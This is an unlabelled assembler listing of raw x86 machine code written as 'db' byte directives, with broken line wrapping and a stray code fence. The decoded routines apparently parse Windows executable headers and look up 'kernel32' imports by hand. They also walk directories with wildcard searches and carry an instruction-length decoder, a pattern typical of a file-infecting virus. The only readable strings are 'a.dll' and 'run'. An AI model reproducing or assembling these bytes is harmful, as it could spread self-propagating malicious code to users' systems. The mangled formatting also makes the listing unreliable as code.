db 05dh, 00ch, 06ah, 000h, 08bh, 043h, 03ch, 005h, 0f8h, 000h, 000h, 000h, 050h, 056h
db 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 056h, 06ah, 001h, 08dh, 045h, 0cch, 06ah, 028h
db 050h, 0ffh, 015h, 0d8h, 04ch, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 075h, 00fh
db 056h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 059h, 033h, 0c0h, 0e9h, 0e8h, 000h, 000h
db 000h, 0ffh, 075h, 0dch, 06ah, 001h, 0ffh, 015h, 008h, 04dh, 000h, 000h, 08bh, 0f8h
db 059h, 085h, 0ffh, 059h, 074h, 0deh, 06ah, 000h, 0ffh, 075h, 0e0h, 056h, 0ffh, 015h
db 0e0h, 04ch, 000h, 000h, 056h, 06ah, 001h, 0ffh, 075h, 0dch, 057h, 0ffh, 015h, 0d8h
db 04ch, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 075h, 007h, 033h, 0f6h, 0e9h, 09ah
db 000h, 000h, 000h, 08bh, 0f7h, 056h, 0e8h, 0afh, 004h, 000h, 000h, 003h, 0f0h, 059h
db 085h, 0c0h, 07eh, 0eah, 08bh, 045h, 0dch, 08dh, 044h, 038h, 09ch, 03bh, 0f0h, 076h
db 03ah, 0ffh, 075h, 008h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 057h, 0ffh, 015h, 00ch
db 04dh, 000h, 000h, 083h, 07dh, 0fch, 000h, 059h, 059h, 074h, 08dh, 0ffh, 075h, 0f4h
db 08bh, 0f7h, 06ah, 002h, 0e8h, 0a5h, 006h, 000h, 000h, 050h, 06ah, 002h, 089h, 045h
db 0f4h, 0e8h, 09ah, 006h, 000h, 000h, 083h, 0c4h, 010h, 0ffh, 04dh, 0fch, 089h, 045h
db 0f8h, 0ebh, 0aeh, 080h, 03eh, 0e8h, 075h, 0a9h, 0e8h, 008h, 006h, 000h, 000h, 033h
db 0d2h, 0f7h, 075h, 0f8h, 085h, 0d2h, 074h, 002h, 0ebh, 099h, 08bh, 045h, 0e0h, 08bh
db 04dh, 010h, 02bh, 0c7h, 08bh, 055h, 01ch, 003h, 0c6h, 06ah, 001h, 089h, 001h, 08bh
db 043h, 074h, 08bh, 04dh, 014h, 02bh, 0c7h, 003h, 045h, 0d8h, 003h, 0c6h, 089h, 001h
db 08bh, 046h, 001h, 089h, 002h, 08bh, 009h, 05eh, 08dh, 044h, 001h, 005h, 08bh, 04dh
db 018h, 089h, 001h, 0ffh, 075h, 008h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 057h, 0ffh
db 015h, 00ch, 04dh, 000h, 000h, 059h, 08bh, 0c6h, 059h, 05fh, 05eh, 05bh, 0c9h,

0c3h
db 055h, 08bh, 0ech, 083h, 0ech, 01ch, 053h, 056h, 057h, 068h, 074h, 014h, 000h,
000h
db 0ffh, 075h, 008h, 0ffh, 015h, 0d0h, 04ch, 000h, 000h, 08bh, 0f0h, 059h, 085h,
0f6h
db 059h, 00fh, 084h, 0f7h, 000h, 000h, 000h, 08bh, 05dh, 00ch, 0ffh, 0b3h, 0c0h,
000h
db 000h, 000h, 053h, 0e8h, 09eh, 0f1h, 0ffh, 0ffh, 06ah, 000h, 050h, 056h, 0ffh,
015h
db 0e0h, 04ch, 000h, 000h, 083h, 0c4h, 014h, 056h, 06ah, 001h, 08dh, 045h, 0e4h,
06ah
db 014h, 050h, 0ffh, 015h, 0d8h, 04ch, 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h,
00fh
db 084h, 0b9h, 000h, 000h, 000h, 083h, 07dh, 0e4h, 000h, 056h, 00fh, 084h, 0afh,
000h
db 000h, 000h, 0ffh, 015h, 0e8h, 04ch, 000h, 000h, 059h, 08bh, 0f8h, 06ah, 000h,
0ffh
db 075h, 0f0h, 053h, 0e8h, 058h, 0f1h, 0ffh, 0ffh, 059h, 059h, 050h, 056h, 0ffh,
015h
db 0e0h, 04ch, 000h, 000h, 056h, 06ah, 001h, 08dh, 045h, 0f8h, 06ah, 008h, 050h,
0ffh
db 015h, 0d8h, 04ch, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 07ah, 06ah,
000h
db 057h, 056h, 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 083h, 0c4h, 00ch, 080h, 07dh,
0f8h
db 06bh, 074h, 006h, 080h, 07dh, 0f8h, 04bh, 075h, 08eh, 080h, 07dh, 0f9h, 065h,
074h
db 006h, 080h, 07dh, 0f9h, 045h, 075h, 082h, 080h, 07dh, 0fah, 072h, 074h, 00ah,
080h
db 07dh, 0fah, 052h, 00fh, 085h, 072h, 0ffh, 0ffh, 0ffh, 080h, 07dh, 0fbh, 06eh,
074h
db 00ah, 080h, 07dh, 0fbh, 04eh, 00fh, 085h, 062h, 0ffh, 0ffh, 0ffh, 080h, 07dh,
0fch
db 065h, 074h, 00ah, 080h, 07dh, 0fch, 045h, 00fh, 085h, 052h, 0ffh, 0ffh, 0ffh,
080h
db 07dh, 0fdh, 06ch, 074h, 00ah, 080h, 07dh, 0fdh, 04ch, 00fh, 085h, 042h, 0ffh,
0ffh
db 0ffh, 080h, 07dh, 0feh, 033h, 00fh, 085h, 038h, 0ffh, 0ffh, 0ffh, 080h, 07dh,
0ffh
db 032h, 074h, 011h, 0e9h, 02dh, 0ffh, 0ffh, 0ffh, 056h, 0ffh, 015h, 0d4h, 04ch,
000h
db 000h, 059h, 033h, 0c0h, 0ebh, 00eh, 056h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h,
08bh
db 043h, 074h, 059h, 003h, 045h, 0f4h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 055h, 08bh,
0ech
db 056h, 057h, 0e8h, 078h, 004h, 000h, 000h, 06ah, 00ah, 033h, 0d2h, 059h, 0bfh,
0e8h
db 003h, 000h, 000h, 0f7h, 0f1h, 085h, 0d2h, 075h, 005h, 057h, 06ah, 064h, 0ebh,
004h
db 06ah, 014h, 06ah, 00ah, 0e8h, 025h, 005h, 000h, 000h, 059h, 08bh, 0f0h, 059h,
0c1h
db 0e6h, 00ah, 0e8h, 04eh, 004h, 000h, 000h, 033h, 0d2h, 08bh, 0cfh, 0f7h, 0f1h,
085h
db 0d2h, 075h, 00eh, 057h, 057h, 0e8h, 008h, 005h, 000h, 000h, 059h, 08bh, 0f0h,
059h
db 0c1h, 0e6h, 00ah, 0ffh, 075h, 008h, 0e8h, 03ch, 0f6h, 0ffh, 0ffh, 085h, 0c0h,
059h
db 074h, 027h, 0e8h, 024h, 004h, 000h, 000h, 0a8h, 001h, 074h, 009h, 0ffh, 075h,
008h
db 0e8h, 06bh, 0f5h, 0ffh, 0ffh, 059h, 0ffh, 075h, 014h, 056h, 0ffh, 075h, 010h,
0ffh
db 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 0e5h, 0f6h, 0ffh, 0ffh, 083h, 0c4h, 014h,
05fh
db 05eh, 05dh, 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 050h, 003h, 000h, 000h, 08bh,
045h
db 008h, 053h, 033h, 0dbh, 033h, 0c9h, 056h, 03bh, 0c3h, 057h, 089h, 05dh, 0fch,
00fh
db 084h, 0b8h, 001h, 000h, 000h, 08ah, 010h, 06ah, 001h, 08dh, 0b5h, 0f4h, 0feh,

0ffh
db 0ffh, 05fh, 02bh, 0f0h, 02bh, 0f8h, 0ebh, 002h, 033h, 0dbh, 088h, 014h, 006h,
08ah
db 050h, 001h, 041h, 040h, 03ah, 0d3h, 074h, 01eh, 08dh, 01ch, 007h, 081h, 0fbh,
004h
db 001h, 000h, 000h, 00fh, 084h, 08ah, 001h, 000h, 000h, 081h, 0f9h, 004h, 001h,
000h
db 000h, 072h, 0dbh, 08bh, 07dh, 0fch, 033h, 0dbh, 0ebh, 046h, 08dh, 051h, 001h,
0beh
db 004h, 001h, 000h, 000h, 03bh, 0d6h, 00fh, 083h, 06bh, 001h, 000h, 000h, 080h,
0bch
db 00dh, 0f3h, 0feh, 0ffh, 0ffh, 05ch, 08dh, 084h, 00dh, 0f4h, 0feh, 0ffh, 0ffh,
074h
db 019h, 083h, 0c1h, 002h, 03bh, 0ceh, 00fh, 083h, 04fh, 001h, 000h, 000h, 08bh,
0cah
db 0c6h, 000h, 05ch, 08dh, 084h, 00dh, 0f4h, 0feh, 0ffh, 0ffh, 088h, 018h, 0c6h,
000h
db 02ah, 08bh, 0f8h, 088h, 09ch, 00dh, 0f5h, 0feh, 0ffh, 0ffh, 08ah, 08dh, 0f4h,
0feh
db 0ffh, 0ffh, 033h, 0c0h, 03ah, 0cbh, 074h, 011h, 088h, 08ch, 005h, 0b0h, 0fch,
0ffh
db 0ffh, 08ah, 08ch, 005h, 0f5h, 0feh, 0ffh, 0ffh, 040h, 0ebh, 0ebh, 088h, 09ch,
005h
db 0b0h, 0fch, 0ffh, 0ffh, 0a1h, 024h, 04dh, 000h, 000h, 03bh, 0c3h, 075h, 018h,
068h
db 0a4h, 014h, 000h, 000h, 0ffh, 015h, 0c8h, 04ch, 000h, 000h, 03bh, 0c3h, 0a3h,
024h
db 04dh, 000h, 000h, 00fh, 084h, 0f0h, 000h, 000h, 000h, 068h, 094h, 014h, 000h,
000h
db 050h, 0ffh, 015h, 0cch, 04ch, 000h, 000h, 068h, 084h, 014h, 000h, 000h, 08bh,
0f0h
db 0ffh, 035h, 024h, 04dh, 000h, 000h, 0ffh, 015h, 0cch, 04ch, 000h, 000h, 068h,
078h
db 014h, 000h, 000h, 089h, 045h, 008h, 0ffh, 035h, 024h, 04dh, 000h, 000h, 0ffh,
015h
db 0cch, 04ch, 000h, 000h, 03bh, 0f3h, 089h, 045h, 0fch, 00fh, 084h, 0b2h, 000h,
000h
db 000h, 039h, 05dh, 008h, 00fh, 084h, 0a9h, 000h, 000h, 000h, 08dh, 085h, 0b4h,
0fdh
db 0ffh, 0ffh, 050h, 08dh, 085h, 0b0h, 0fch, 0ffh, 0ffh, 050h, 0ffh, 0d6h, 083h,
0f8h
db 0ffh, 089h, 045h, 0f8h, 00fh, 084h, 088h, 000h, 000h, 000h, 033h, 0c0h, 038h,
09dh
db 0e0h, 0fdh, 0ffh, 0ffh, 074h, 062h, 08bh, 0cfh, 08dh, 095h, 0e0h, 0fdh, 0ffh,
0ffh
db 02bh, 0cah, 08bh, 0d0h, 08dh, 0b5h, 0f4h, 0feh, 0ffh, 0ffh, 02bh, 0d6h, 003h,
0d7h
db 081h, 0fah, 004h, 001h, 000h, 000h, 073h, 01dh, 08ah, 094h, 005h, 0e0h, 0fdh,
0ffh
db 0ffh, 08dh, 034h, 001h, 040h, 088h, 094h, 035h, 0e0h, 0fdh, 0ffh, 0ffh, 038h,
09ch
db 005h, 0e0h, 0fdh, 0ffh, 0ffh, 075h, 0d1h, 0ebh, 002h, 033h, 0c0h, 03bh, 0c3h,
074h
db 021h, 0ffh, 075h, 01ch, 088h, 01ch, 038h, 08dh, 085h, 0f4h, 0feh, 0ffh, 0ffh,
0ffh
db 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 050h, 0e8h,
0cah
db 0fdh, 0ffh, 0ffh, 083h, 0c4h, 018h, 08dh, 085h, 0b4h, 0fdh, 0ffh, 0ffh, 050h,
0ffh
db 075h, 0f8h, 0ffh, 055h, 008h, 085h, 0c0h, 075h, 083h, 039h, 05dh, 0fch, 074h,
006h
db 0ffh, 075h, 0f8h, 0ffh, 055h, 0fch, 06ah, 001h, 058h, 0ebh, 002h, 033h, 0c0h,
05fh
db 05eh, 05bh, 0c9h, 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 004h, 001h, 000h, 000h,
0a1h
db 024h, 04dh, 000h, 000h, 085h, 0c0h, 075h, 014h, 068h, 0a4h, 014h, 000h, 000h,
0ffh
db 015h, 0c8h, 04ch, 000h, 000h, 085h, 0c0h, 0a3h, 024h, 04dh, 000h, 000h, 074h,

047h
db 068h, 0b4h, 014h, 000h, 000h, 050h, 0ffh, 015h, 0cch, 04ch, 000h, 000h, 085h,
0c0h
db 074h, 037h, 08dh, 08dh, 0fch, 0feh, 0ffh, 0ffh, 051h, 068h, 004h, 001h, 000h,
000h
db 0ffh, 0d0h, 080h, 0bdh, 0fch, 0feh, 0ffh, 0ffh, 000h, 074h, 020h, 0ffh, 075h,
018h
db 08dh, 085h, 0fch, 0feh, 0ffh, 0ffh, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh,
075h
db 00ch, 0ffh, 075h, 008h, 050h, 0e8h, 0bbh, 0fdh, 0ffh, 0ffh, 083h, 0c4h, 018h,
0c9h
db 0c3h, 033h, 0c0h, 0c9h, 0c3h, 0cch, 060h, 0fch, 033h, 0d2h, 08bh, 074h, 024h,
024h
db 08bh, 0ech, 068h, 01ch, 0f7h, 097h, 010h, 068h, 080h, 067h, 01ch, 0f7h, 068h,
018h
db 097h, 038h, 017h, 068h, 018h, 0b7h, 01ch, 010h, 068h, 017h, 02ch, 030h, 017h,
068h
db 017h, 030h, 017h, 018h, 068h, 047h, 0f5h, 015h, 0f7h, 068h, 048h, 037h, 010h,
04ch
db 068h, 0f7h, 0e7h, 02ch, 027h, 068h, 087h, 060h, 0ach, 0f7h, 068h, 052h, 01ch,
012h
db 01ch, 068h, 01ch, 087h, 010h, 07ch, 068h, 01ch, 070h, 01ch, 020h, 068h, 02bh,
060h
db 067h, 047h, 068h, 011h, 010h, 021h, 020h, 068h, 025h, 016h, 012h, 040h, 068h,
022h
db 020h, 087h, 082h, 068h, 020h, 012h, 020h, 047h, 068h, 019h, 014h, 010h, 013h,
068h
db 013h, 010h, 027h, 018h, 068h, 060h, 082h, 085h, 028h, 068h, 045h, 040h, 012h,
015h
db 068h, 0c7h, 0a0h, 016h, 050h, 068h, 012h, 018h, 019h, 028h, 068h, 012h, 018h,
040h
db 0f2h, 068h, 027h, 041h, 015h, 019h, 068h, 011h, 0f0h, 0f0h, 050h, 0b9h, 010h,
047h
db 012h, 015h, 051h, 068h, 047h, 012h, 015h, 011h, 068h, 012h, 015h, 011h, 010h,
068h
db 015h, 011h, 010h, 047h, 0b8h, 015h, 020h, 047h, 012h, 050h, 050h, 068h, 010h,
01ah
db 047h, 012h, 080h, 0c1h, 010h, 051h, 080h, 0e9h, 020h, 051h, 033h, 0c9h, 049h,
041h
db 08bh, 0fch, 0ach, 08ah, 0f8h, 08ah, 027h, 047h, 0c0h, 0ech, 004h, 02ah, 0c4h,
073h
db 0f6h, 08ah, 047h, 0ffh, 024h, 00fh, 03ch, 00ch, 075h, 003h, 05ah, 0f7h, 0d2h,
042h
db 03ch, 000h, 074h, 042h, 03ch, 001h, 074h, 0dbh, 083h, 0c7h, 051h, 03ch, 00ah,
074h
db 0d7h, 08bh, 07dh, 024h, 042h, 03ch, 002h, 074h, 02fh, 03ch, 007h, 074h, 033h,
03ch
db 00bh, 00fh, 084h, 07eh, 000h, 000h, 000h, 042h, 03ch, 003h, 074h, 01eh, 03ch,
008h
db 074h, 022h, 042h, 03ch, 004h, 074h, 015h, 042h, 042h, 060h, 0b0h, 066h, 0f2h,
0aeh
db 061h, 075h, 002h, 04ah, 04ah, 03ch, 009h, 074h, 00dh, 02ch, 005h, 074h, 06ch,
042h
db 08bh, 0e5h, 089h, 054h, 024h, 01ch, 061h, 0c3h, 0ach, 08ah, 0e0h, 0c0h, 0e8h,
007h
db 072h, 012h, 074h, 014h, 080h, 0c2h, 004h, 060h, 0b0h, 067h, 0f2h, 0aeh, 061h,
075h
db 009h, 080h, 0eah, 003h, 0feh, 0c8h, 075h, 0dch, 042h, 040h, 080h, 0e4h, 007h,
060h
db 0b0h, 067h, 0f2h, 0aeh, 061h, 074h, 013h, 080h, 0fch, 004h, 074h, 017h, 080h,
0fch
db 005h, 075h, 0c5h, 0feh, 0c8h, 074h, 0c1h, 080h, 0c2h, 004h, 0ebh, 0bch, 066h,
03dh
db 000h, 006h, 075h, 0b6h, 042h, 0ebh, 0b2h, 03ch, 000h, 075h, 0aeh, 0ach, 024h,
007h
db 02ch, 005h, 075h, 0a7h, 042h, 0ebh, 0e4h, 0f6h, 006h, 038h, 075h, 0a8h, 0b0h,
008h
db 0d0h, 0efh, 014h, 000h, 0e9h, 072h, 0ffh, 0ffh, 0ffh, 080h, 0efh, 0a0h, 080h,

0ffh
db 004h, 073h, 082h, 060h, 0b0h, 067h, 0f2h, 0aeh, 061h, 075h, 002h, 04ah, 04ah,
060h
db 0b0h, 066h, 0f2h, 0aeh, 061h, 00fh, 084h, 076h, 0ffh, 0ffh, 0ffh, 00fh, 085h,
066h
db 0ffh, 0ffh, 0ffh, 056h, 033h, 0f6h, 039h, 035h, 0c4h, 04ch, 000h, 000h, 075h,
033h
db 0a1h, 0f4h, 04ch, 000h, 000h, 03bh, 0c6h, 074h, 004h, 0ffh, 0d0h, 0ebh, 00fh,
0a1h
db 0f0h, 04ch, 000h, 000h, 03bh, 0c6h, 074h, 004h, 0ffh, 0d0h, 0ebh, 002h, 033h,
0c0h
db 08bh, 00dh, 0ech, 04ch, 000h, 000h, 0a3h, 0c4h, 04ch, 000h, 000h, 03bh, 0ceh,
074h
db 008h, 03bh, 0c6h, 074h, 004h, 050h, 0ffh, 0d1h, 059h, 0a1h, 0f0h, 04ch, 000h,
000h
db 03bh, 0c6h, 074h, 032h, 057h, 0ffh, 0d0h, 08bh, 0f0h, 0bfh, 0ffh, 000h, 000h,
000h
db 023h, 0f7h, 0ffh, 015h, 0f0h, 04ch, 000h, 000h, 0c1h, 0e0h, 008h, 00bh, 0f0h,
0c1h
db 0e6h, 008h, 0ffh, 015h, 0f0h, 04ch, 000h, 000h, 023h, 0c7h, 00bh, 0f0h, 0c1h,
0e6h
db 008h, 0ffh, 015h, 0f0h, 04ch, 000h, 000h, 023h, 0c7h, 05fh, 00bh, 0f0h, 08bh,
0c6h
db 05eh, 0c3h, 053h, 08bh, 05ch, 024h, 008h, 057h, 08bh, 07ch, 024h, 010h, 02bh,
0fbh
db 074h, 03bh, 083h, 0ffh, 001h, 075h, 00eh, 0e8h, 06bh, 0ffh, 0ffh, 0ffh, 0a8h,
001h
db 075h, 02dh, 08dh, 043h, 001h, 0ebh, 02ah, 08bh, 0c7h, 056h, 0c1h, 0e8h, 010h,
050h
db 06ah, 000h, 0e8h, 01fh, 000h, 000h, 000h, 08bh, 0f0h, 00fh, 0b7h, 0c7h, 050h,
06ah
db 000h, 0c1h, 0e6h, 010h, 0e8h, 00fh, 000h, 000h, 000h, 083h, 0c4h, 010h, 00bh,
0c6h
db 003h, 0c3h, 05eh, 0ebh, 002h, 08bh, 0c3h, 05fh, 05bh, 0c3h, 056h, 08bh, 074h,
024h
db 00ch, 057h, 08bh, 07ch, 024h, 00ch, 02bh, 0f7h, 066h, 085h, 0f6h, 076h, 02eh,
066h
db 083h, 0feh, 001h, 075h, 00eh, 0e8h, 019h, 0ffh, 0ffh, 0ffh, 0a8h, 001h, 075h,
01fh
db 08dh, 047h, 001h, 0ebh, 01ch, 0e8h, 00bh, 0ffh, 0ffh, 0ffh, 0b9h, 0ffh, 0ffh,
000h
db 000h, 00fh, 0b7h, 0d6h, 023h, 0c1h, 00fh, 0afh, 0c2h, 033h, 0d2h, 0f7h, 0f1h,
003h
db 0c7h, 0ebh, 002h, 08bh, 0c7h, 05fh, 05eh, 0c3h, 053h, 08bh, 05ch, 024h, 008h,
056h
db 08bh, 074h, 024h, 010h, 083h, 0feh, 004h, 07ch, 01bh, 057h, 08bh, 0feh, 0c1h,
0efh
db 002h, 08bh, 0c7h, 0f7h, 0d8h, 08dh, 034h, 086h, 0e8h, 0d0h, 0feh, 0ffh, 0ffh,
089h
db 003h, 083h, 0c3h, 004h, 04fh, 075h, 0f3h, 05fh, 085h, 0f6h, 074h, 00fh, 0e8h,
0beh
db 0feh, 0ffh, 0ffh, 08bh, 04ch, 024h, 00ch, 088h, 004h, 031h, 04eh, 075h, 0f1h,
08bh
db 044h, 024h, 00ch, 05eh, 05bh, 0c3h, 06ah, 001h, 058h, 0c2h, 00ch, 000h, 055h,
08bh
db 0ech, 053h, 056h, 057h, 08dh, 005h, 030h, 04dh, 000h, 000h, 089h, 018h, 089h,
068h
db 004h, 089h, 070h, 008h, 089h, 078h, 00ch, 0ffh, 075h, 020h, 0ffh, 075h, 01ch,
0ffh
db 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 075h,
008h
db 0e8h, 01dh, 000h, 000h, 000h, 083h, 0c4h, 01ch, 08dh, 005h, 030h, 04dh, 000h,
000h
db 08bh, 018h, 08bh, 068h, 004h, 08bh, 070h, 008h, 08bh, 078h, 00ch, 05fh, 05eh,
033h
db 0c0h, 05bh, 05dh, 0c2h, 01ch, 000h, 055h, 08bh, 0ech, 08bh, 045h, 008h, 085h,
0c0h
db 00fh, 084h, 08fh, 002h, 000h, 000h, 08bh, 04dh, 00ch, 085h, 0c9h, 00fh, 084h,

084h
db 002h, 000h, 000h, 068h, 0e8h, 015h, 000h, 000h, 0a3h, 0c8h, 04ch, 000h, 000h,
089h
db 00dh, 0cch, 04ch, 000h, 000h, 0ffh, 0d0h, 085h, 0c0h, 0a3h, 018h, 04dh, 000h,
000h
db 074h, 025h, 068h, 0dch, 015h, 000h, 000h, 050h, 0ffh, 015h, 0cch, 04ch, 000h,
000h
db 085h, 0c0h, 0a3h, 014h, 04dh, 000h, 000h, 074h, 010h, 06ah, 000h, 068h, 0c8h,
015h
db 000h, 000h, 068h, 07ch, 015h, 000h, 000h, 06ah, 000h, 0ffh, 0d0h, 068h, 070h,
015h
db 000h, 000h, 0ffh, 015h, 0c8h, 04ch, 000h, 000h, 085h, 0c0h, 0a3h, 020h, 04dh,
000h
db 000h, 00fh, 084h, 02ch, 002h, 000h, 000h, 068h, 0a4h, 014h, 000h, 000h, 0ffh,
015h
db 0c8h, 04ch, 000h, 000h, 085h, 0c0h, 0a3h, 024h, 04dh, 000h, 000h, 074h, 027h,
068h
db 064h, 015h, 000h, 000h, 050h, 0ffh, 015h, 0cch, 04ch, 000h, 000h, 068h, 054h,
015h
db 000h, 000h, 0a3h, 0e4h, 04ch, 000h, 000h, 0ffh, 035h, 024h, 04dh, 000h, 000h,
0ffh
db 015h, 0cch, 04ch, 000h, 000h, 0a3h, 0f4h, 04ch, 000h, 000h, 068h, 04ch, 015h,
000h
db 000h, 0ffh, 035h, 020h, 04dh, 000h, 000h, 0ffh, 015h, 0cch, 04ch, 000h, 000h,
085h
db 0c0h, 0a3h, 0d0h, 04ch, 000h, 000h, 00fh, 084h, 0bbh, 001h, 000h, 000h, 068h,
044h
db 015h, 000h, 000h, 0ffh, 035h, 020h, 04dh, 000h, 000h, 0ffh, 015h, 0cch, 04ch,
000h
db 000h, 085h, 0c0h, 0a3h, 0d4h, 04ch, 000h, 000h, 00fh, 084h, 09dh, 001h, 000h,
000h
db 068h, 03ch, 015h, 000h, 000h, 0ffh, 035h, 020h, 04dh, 000h, 000h, 0ffh, 015h,
0cch
db 04ch, 000h, 000h, 085h, 0c0h, 0a3h, 0d8h, 04ch, 000h, 000h, 00fh, 084h, 07fh,
001h
db 000h, 000h, 068h, 034h, 015h, 000h, 000h, 0ffh, 035h, 020h, 04dh, 000h, 000h,
0ffh
db 015h, 0cch, 04ch, 000h, 000h, 085h, 0c0h, 0a3h, 0dch, 04ch, 000h, 000h, 00fh,
084h
db 061h, 001h, 000h, 000h, 068h, 02ch, 015h, 000h, 000h, 0ffh, 035h, 020h, 04dh,
000h
db 000h, 0ffh, 015h, 0cch, 04ch, 000h, 000h, 085h, 0c0h, 0a3h, 0e0h, 04ch, 000h,
000h
db 00fh, 084h, 043h, 001h, 000h, 000h, 068h, 024h, 015h, 000h, 000h, 0ffh, 035h,
020h
db 04dh, 000h, 000h, 0ffh, 015h, 0cch, 04ch, 000h, 000h, 085h, 0c0h, 0a3h, 0e8h,
04ch
db 000h, 000h, 00fh, 084h, 025h, 001h, 000h, 000h, 068h, 01ch, 015h, 000h, 000h,
0ffh
db 035h, 020h, 04dh, 000h, 000h, 0ffh, 015h, 0cch, 04ch, 000h, 000h, 085h, 0c0h,
0a3h
db 008h, 04dh, 000h, 000h, 00fh, 084h, 007h, 001h, 000h, 000h, 068h, 014h, 015h,
000h
db 000h, 0ffh, 035h, 020h, 04dh, 000h, 000h, 0ffh, 015h, 0cch, 04ch, 000h, 000h,
085h
db 0c0h, 0a3h, 00ch, 04dh, 000h, 000h, 00fh, 084h, 0e9h, 000h, 000h, 000h, 068h,
00ch
db 015h, 000h, 000h, 0ffh, 035h, 020h, 04dh, 000h, 000h, 0ffh, 015h, 0cch, 04ch,
000h
db 000h, 085h, 0c0h, 0a3h, 010h, 04dh, 000h, 000h, 00fh, 084h, 0cbh, 000h, 000h,
000h
db 068h, 000h, 015h, 000h, 000h, 0ffh, 035h, 024h, 04dh, 000h, 000h, 0ffh, 015h,
0cch
db 04ch, 000h, 000h, 085h, 0c0h, 0a3h, 000h, 04dh, 000h, 000h, 00fh, 084h, 0adh,
000h
db 000h, 000h, 068h, 0f4h, 014h, 000h, 000h, 0ffh, 035h, 024h, 04dh, 000h, 000h,
0ffh
db 015h, 0cch, 04ch, 000h, 000h, 085h, 0c0h, 0a3h, 0f8h, 04ch, 000h, 000h, 00fh,

```
084h
db 08fh, 000h, 000h, 000h, 068h, 0e8h, 014h, 000h, 000h, 0ffh, 035h, 024h, 04dh,
000h
db 000h, 0ffh, 015h, 0cch, 04ch, 000h, 000h, 085h, 0c0h, 0a3h, 0fch, 04ch, 000h,
000h
db 074h, 075h, 068h, 0dch, 014h, 000h, 000h, 0ffh, 035h, 024h, 04dh, 000h, 000h,
0ffh
db 015h, 0cch, 04ch, 000h, 000h, 085h, 0c0h, 0a3h, 004h, 04dh, 000h, 000h, 074h,
05bh
db 068h, 0d4h, 014h, 000h, 000h, 0ffh, 035h, 020h, 04dh, 000h, 000h, 0ffh, 015h,
0cch
db 04ch, 000h, 000h, 068h, 0cch, 014h, 000h, 000h, 0a3h, 0f0h, 04ch, 000h, 000h,
0ffh
db 035h, 020h, 04dh, 000h, 000h, 0ffh, 015h, 0cch, 04ch, 000h, 000h, 0ffh, 075h,
020h
db 0a3h, 0ech, 04ch, 000h, 000h, 0ffh, 075h, 01ch, 0ffh, 075h, 018h, 0ffh, 075h,
014h
db 0ffh, 075h, 010h, 0e8h, 0ceh, 0f9h, 0ffh, 0ffh, 0ffh, 035h, 020h, 04dh, 000h,
000h
db 0e8h, 02ch, 000h, 000h, 000h, 0ffh, 035h, 024h, 04dh, 000h, 000h, 0e8h, 021h,
000h
db 000h, 000h, 083h, 0c4h, 01ch, 0ebh, 018h, 0ffh, 035h, 020h, 04dh, 000h, 000h,
0e8h
db 011h, 000h, 000h, 000h, 0ffh, 035h, 024h, 04dh, 000h, 000h, 0e8h, 006h, 000h,
000h
db 000h, 059h, 059h, 033h, 0c0h, 05dh, 0c3h, 0a1h, 0e4h, 04ch, 000h, 000h, 085h,
0c0h
db 074h, 006h, 0ffh, 074h, 024h, 004h, 0ffh, 0d0h, 0c3h, 0cch, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h,
09ch
db 0c5h, 041h, 000h, 000h, 000h, 000h, 072h, 04dh, 000h, 000h, 001h, 000h, 000h,
000h
db 001h, 000h, 000h, 000h, 001h, 000h, 000h, 000h, 068h, 04dh, 000h, 000h, 06ch,
04dh
db 000h, 000h, 070h, 04dh, 000h, 000h, 0c4h, 049h, 000h, 000h, 078h, 04dh, 000h,
000h
db 000h, 000h, 061h, 02eh, 064h, 06ch, 06ch, 000h, 072h, 075h, 06eh, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
```

000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
